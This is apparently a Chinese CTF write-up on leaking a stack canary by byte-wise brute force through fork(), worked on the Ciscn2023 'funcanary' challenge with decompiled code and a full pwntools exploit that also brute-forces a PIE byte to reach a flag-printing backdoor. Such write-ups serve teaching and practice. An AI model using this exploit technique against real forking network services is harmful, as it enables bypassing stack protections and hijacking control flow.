fork爆破canary

文章发布时间:

最后更新时间:

文章总字数:
801

预计阅读时间:
4 分钟

前言

一种强行泄露出canary的办法 不是很喜欢这类题目 主要是爆破canary的时间比较久 如果后面的脚本有问题 就得重新跑 比较烦人

原理

原理主要来关注一下fork函数

fork函数利用系统调用创建了一个子进程 这个子进程的终止与否都不会影响到父进程 系统会给子进程分配代码空间和存储数据 大部分和父进程是一样的

关键的canary也和父进程是一样的 由于子进程的终止不会影响到父进程 所以 如果子进程由于canary不对而触发__stack_chk_fali函数

子进程自己是终止了 但是父进程依然存在 所以可以利用这一点逐个字节爆破canary 如果最后不报错 就说明canary爆破成功 就可以进行栈溢出了

实例

Ciscn2023 funcanary

image-20230528220031922

保护机制全开 64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // [rsp+Ch] [rbp-4h]

sub_1243(a1, a2, a3);
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0LL);
}
else
{
puts("welcome");
sub_128A();
puts("have fun");
}
}
puts("fork error");
exit(0);
}

while嵌套了主要的逻辑 每次都fork出一个子进程 随后进入sub_128A执行操作 跟进一下

1
2
3
4
5
6
7
8
9
unsigned __int64 sub_128A()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]

v2 = __readfsqword(0x28u);
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}

拥有栈溢出的机会 同时还有一个后门函数

1
2
3
4
int sub_1228()
{
return system("/bin/cat flag");
}

那么就是利用fork函数爆破出canary 随后就是栈溢出劫持程序执行流 但是由于开启了pie 所以还得再爆破一位 才能进入后门函数

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import*
from ctypes import *
#io = process("./pwn")
io = remote("39.105.26.155",38646)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

io.recvuntil("welcome")
canary = b'\x00'
for j in range(7):

for i in range(0x100):

io.send(cyclic(0x68) + canary + i.to_bytes(1,'little'))

a = io.recvuntil('welcome\n')

if b'have fun' in a:

canary += i.to_bytes(1,'little')

break
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x02'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x12'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x22'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x32'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x42'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x52'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x62'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x72'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x82'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x92'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xa2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xb2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xc2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xd2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xe2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xf2'
io.send(payload)
io.interactive()